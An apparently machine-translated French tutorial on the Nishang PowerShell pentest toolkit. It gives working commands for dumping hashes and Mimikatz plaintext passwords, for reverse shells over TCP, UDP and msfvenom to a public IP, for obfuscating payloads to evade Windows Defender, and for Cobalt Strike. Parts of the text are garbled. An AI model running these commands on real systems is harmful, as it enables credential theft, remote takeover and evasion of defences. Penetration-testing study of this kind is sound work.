Maison  >  Article  >  Opération et maintenance  >  Comment utiliser Nishang, l'outil de test d'intrusion PowerShell

Comment utiliser Nishang, l'outil de test d'intrusion PowerShell

WBOY
WBOYavant
2023-05-13 10:58:201192parcourir

Initialement PowerShell, comprenons d'abord le concept : PowerShell peut être considéré comme une version améliorée de cmd (bat scripting language), qui est un langage de script sur la plate-forme Windows. Il est orienté objet et étroitement lié à .Net FrameWork. Il peut également être considéré comme le shell bash sous Windows. Windows PowerShell est un environnement de shell et de script de ligne de commande qui permet aux utilisateurs de ligne de commande et aux scripteurs de tirer parti de la puissance du .NET Framework. Il introduit de nombreux nouveaux concepts utiles qui élargissent davantage les connaissances que vous acquérez et les scripts que vous créez dans les environnements d'invite de commande Windows et d'hôte Windows. Le code s'exécute en mémoire et ne touche pas le disque. De nombreux produits de sécurité ne peuvent pas détecter les activités de PowerShell. cmd.exe est généralement bloqué, mais pas PowerShell. En fait, nous devons contourner certains logiciels de protection pendant le processus de test d'intrusion. En plus de contourner les scripts ou d'autres outils, l'outil PoweShell est également un bon choix. Par exemple, nous utilisons le mot de passe pour capturer le mimikatz magique sur l'hôte cible. Cet outil magique écrit par un expert français est plus couramment utilisé par tout le monde. Le plus génial est que vous pouvez obtenir directement le mot de passe en texte clair du Windows actif. compte de lsass.exe. Mais si vous ne faites pas du bon travail pour éviter de tuer, vous passerez directement par un certain seau familial sans meurtre. Grâce à Powershell, un attaquant peut exécuter des commandes sans toucher le disque. Voici quelques outils couramment utilisés :

Introduction à Nishang

Nishang est un outil spécial pour les tests d'intrusion basé sur PowerShell. Il intègre des scripts et diverses charges utiles, telles que la saisie de mots de passe, l'analyse de ports, l'élévation de privilèges, etc. Cet outil est fréquemment utilisé par les novices dans les tests d’intrusion quotidiens. Nous devons d'abord télécharger cet outil. L'adresse de téléchargement est : https://github.com/samratashok/nishang Après le téléchargement, nous pouvons voir ce que incluent les outils suivants

Comment utiliser Nishang, loutil de test dintrusion PowerShell

Comment utiliser Nishang, loutil de test dintrusion PowerShell

Ensuite, nous passons les détails. Un environnement expérimental est utilisé pour démontrer les modules couramment utilisés dans le processus de test d'intrusion. Avant la démonstration, plusieurs erreurs courantes rencontrées lors de l'exécution de l'outil PowerShell doivent être expliquées, telles que les problèmes d'autorisation pour l'exécution de scripts, les problèmes d'importation de modules, etc.

Powershell n'est pas autorisé lors de l'importation du module pour la première fois, car la politique par défaut n'est pas autorisée. À ce stade, nous devons modifier la politique d'exécution pour l'autoriser, ce qui est appelé signature à distance.

Comment utiliser Nishang, loutil de test dintrusion PowerShell

Vérifions quelle est la politique d'exécution actuelle. Restreint n'est pas autorisé à exécuter des scripts, même si vous disposez de droits d'administrateur. Nous devons modifier les autorisations et exécuter la commande :

Set-ExecutionPolicy remotesigned. Lorsque nous interrogeons à nouveau la politique d'exécution actuelle, la signature à distance est autorisée. Le script sera à nouveau importé avec succès.

Comment utiliser Nishang, loutil de test dintrusion PowerShell

Comment utiliser Nishang, loutil de test dintrusion PowerShell

Exécutez pour afficher les informations du script dans le module importé : Get-Command -Module nishang

Comment utiliser Nishang, loutil de test dintrusion PowerShell

Listez les informations de cette machine : Get-Information

Comment utiliser Nishang, loutil de test dintrusion PowerShell

Maintenant, nous donnons également l'exécution autorisation modifiée, commençons notre voyage de démonstration.

Une vague de capture de mot de passe

Lorsque nous obtenons un serveur, nous devons savoir si l'hôte cible est une machine physique ou une machine virtuelle, exécutez la commande : Check-VM

Comment utiliser Nishang, loutil de test dintrusion PowerShell

Tout d'abord, nishang Il intègre également un script pour capturer les mots de passe. Capturez d'abord la valeur de hachage :

#Get-PassHashes //Capture simple et directe, et affichez-la dans l'interface dos

#powershell –exec bypass –Command "& {Importer ; -Module 'C:nishangGatherGet-PassHashes.ps1';Get-PassHashes -PSObjectFormat | Out-File hash.txt}" //Obtenir la valeur de hachage et l'enregistrer dans un document personnalisé.


Comment utiliser Nishang, loutil de test dintrusion PowerShell

Comment utiliser Nishang, loutil de test dintrusion PowerShell

Comment utiliser Nishang, loutil de test dintrusion PowerShell

Puisque nous pouvons capturer la valeur de hachage, nous pouvons également capturer le mot de passe en texte brut. Examinons d'abord le script pour capturer le mot de passe. Nous pouvons voir que l'outil Mimikatz est également utilisé, mais il est simplement chargé dans le script Powershell.

Comment utiliser Nishang, loutil de test dintrusion PowerShell

Comment utiliser Nishang, loutil de test dintrusion PowerShell

Nous pouvons utiliser la commande suivante pour obtenir le mot de passe en texte clair :

#powershell –exec bypass –Command "& {Import-Module 'C:nishangGatherInvoke-Mimikatz.ps1';Invoke-Mimikatz }" Essayez de capturer directement le mot de passe en texte clair de l'utilisateur actuel du système. (La commande la plus couramment utilisée)

Comment utiliser Nishang, loutil de test dintrusion PowerShell

Une vague de rebonds de ports

Comment utiliser Nishang, loutil de test dintrusion PowerShell

Lors du test d'intrusion, lorsque nous faisions une redirection de port, nous avons rencontré une série de seaux familiaux tuants, d'agents nclcxsockes, etc. . de temps en temps, il était tué et retranché. Ensuite, à ce moment-là, nous pouvons utiliser le script de redirection de port dans nishang. En plus d'introduire la redirection de port intégrée, nous expérimentons également ici la redirection de port avec MSF, qui nécessitent toutes deux un serveur de réseau public.

1. Redirection de port TCP (connexion inversée)

Exécutez la commande d'écoute sur le serveur du réseau public : nc -lvp 5555

L'hôte cible exécute la commande de redirection de port : Invoke-PowerShellTcp -Reverse -IPAddress 106.xxx.xxx .115 - Port 5555

De cette façon, après avoir exécuté les commandes sur l'hôte cible et le réseau public respectivement, le serveur du réseau public lancera un shell, afin que nous puissions exécuter les commandes du serveur intranet.

Comment utiliser Nishang, loutil de test dintrusion PowerShell

2. Redirection de port UDP (connexion inversée)

Exécutez la commande d'écoute sur le serveur du réseau public : nc -lup 6666

L'hôte cible exécute la commande de redirection de port : Invoke-PowerShellUdp -Reverse -IPAddress 106.xxx .xxx.115 -Port 6666

Comment utiliser Nishang, loutil de test dintrusion PowerShell

En plus des connexions inversées, il existe également des connexions directes. J'utilise souvent des connexions inverses dans les tests d'intrusion. Si vous êtes intéressé par les connexions directes, vous pouvez le faire. . D'accord, maintenant nous utilisons PowerShell et MSF pour la redirection de port. Tout d'abord, nous utilisons la commande pour vérifier s'il existe un module PowerShell dans MSF :

##msfvenom -l payloads |grep 'reverse_powershell //Requête de l'emplacement du module PowerShell. .

Comment utiliser Nishang, loutil de test dintrusion PowerShell

Nous utilisons MSF pour générer une commande permettant de générer un port de rebond :

##msfvenom -p cmd/windows/reverse_powershell lhost=106.xxx.xxx.115 lport=9999 r //Générer la charge utile, tapez est Powershell, la section marquée en rouge est la commande qui doit être exécutée sur l'hôte cible.

Comment utiliser Nishang, loutil de test dintrusion PowerShell

L'étape suivante consiste à exécuter la commande PowerShell que nous venons de générer sur l'hôte cible et à écouter le port 9999 sur le serveur public. De cette façon, nous pouvons réussir à renvoyer le shell de l’hôte cible vers le serveur du réseau public.

Comment utiliser Nishang, loutil de test dintrusion PowerShell

Nous réfléchirons également à la manière dont nous pouvons utiliser l'obscurcissement pour contourner Windows Defender sur l'hôte cible, car la charge utile ordinaire que nous générons sera vérifiée par Windows Defender, nous devons donc contourner ce mécanisme de vérification. Prenons la charge utile ci-dessus comme exemple pour la masquer afin de contourner Windows Defender. Parfois, nous exécutons la charge utile ordinaire que nous générons directement sur l'hôte cible, et elle peut être directement interceptée par Windows Defender. L'outil d'obfuscation est sans aucun doute Invoke-Obfuscation fourni par Daniel Bohannon. La page Github du projet peut être trouvée.

Tout d'abord, nous démarrons l'outil Invoke-Obfuscation :

Import-Module ./Invoke-Obfuscation.psd1 //Import Invoke-Obfuscation.psd1;

Invoke-Obfuscation //Démarrez l'outil Invoke-Obfuscation ;

Comment utiliser Nishang, loutil de test dintrusion PowerShell

Nous allons maintenant obscurcir la charge utile de redirection de port que nous venons de générer. Examinons d'abord les paramètres des différentes méthodes de traitement d'obscurcissement :

Comment utiliser Nishang, loutil de test dintrusion PowerShell

.

Quelles parties de la charge utile doivent être obscurcies, nous devons préciser à l'avance, ce qui peut être fait via la commande suivante :

Définir le bloc de script 'payload' ;

#🎜🎜 ##🎜 🎜#

Comment utiliser Nishang, loutil de test dintrusion PowerShell Nous choisissons d'obscurcir l'intégralité de la commande sous forme de chaîne (le choix spécifique est basé sur l'environnement de test d'intrusion spécifique) :


# 🎜🎜##🎜🎜 #

Sélectionnez 1 pour l'obscurcissement ASCII. Nous entrons 1.ps1 pour afficher la sortie. Cette commande équivaut également à enregistrer le fichier obscurci dans le répertoire actuel et 1.ps1 : #🎜🎜. ##🎜 🎜#

Comment utiliser Nishang, loutil de test dintrusion PowerShell

Exécutez ce script sur l'hôte cible. Le serveur du réseau public écoute le port 9999 et peut également rebondir avec succès le shell de l'hôte intranet : # 🎜🎜 ## 🎜🎜 ## 🎜🎜 ## 🎜🎜 ## 🎜🎜 ## 🎜🎜 ## 🎜🎜 # # PowerShell et CobalTstrike outils créent différentes étincelles # 🎜🎜 ## 🎜🎜 ## 🎜🎜 ## 🎜🎜 #Cobalt Strike est un outil de test d'intrusion de framework GUI basé sur Metasploit. Il intègre la redirection de port, l'analyse de services, le débordement automatisé, la surveillance des ports multimodes, la génération de chevaux de Troie exe et PowerShell, etc. Cet outil est également un outil puissant pour la pénétration de l'intranet. Nous parlons simplement de quel type d'étincelles PowerShell et Cobalt Strike peuvent toucher ?

Cobalt Strike doit être installé respectivement sur le client et le serveur, puis démarrez cet outil :

Comment utiliser Nishang, loutil de test dintrusion PowerShell


#🎜🎜 #

Comment utiliser Nishang, loutil de test dintrusion PowerShellNous écoutons d'abord un port, écrivons l'adresse IP publique comme adresse d'hôte, puis générons une commande PowerShell sur l'hôte cible, et l'hôte cible le fera. venez en ligne. Ensuite, nous pouvons capturer des mots de passe à distance, élever des privilèges, surveiller et d'autres opérations : #🎜 🎜#

Pour être honnête, ces deux outils n'ont fait que déclencher une petite étincelle ici. Il existe de nombreuses autres opérations. Les experts intéressés peuvent aller les étudier. Cet outil est souvent utilisé. dans la pénétration de l'intranet.

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Cet article est reproduit dans:. en cas de violation, veuillez contacter admin@php.cn Supprimer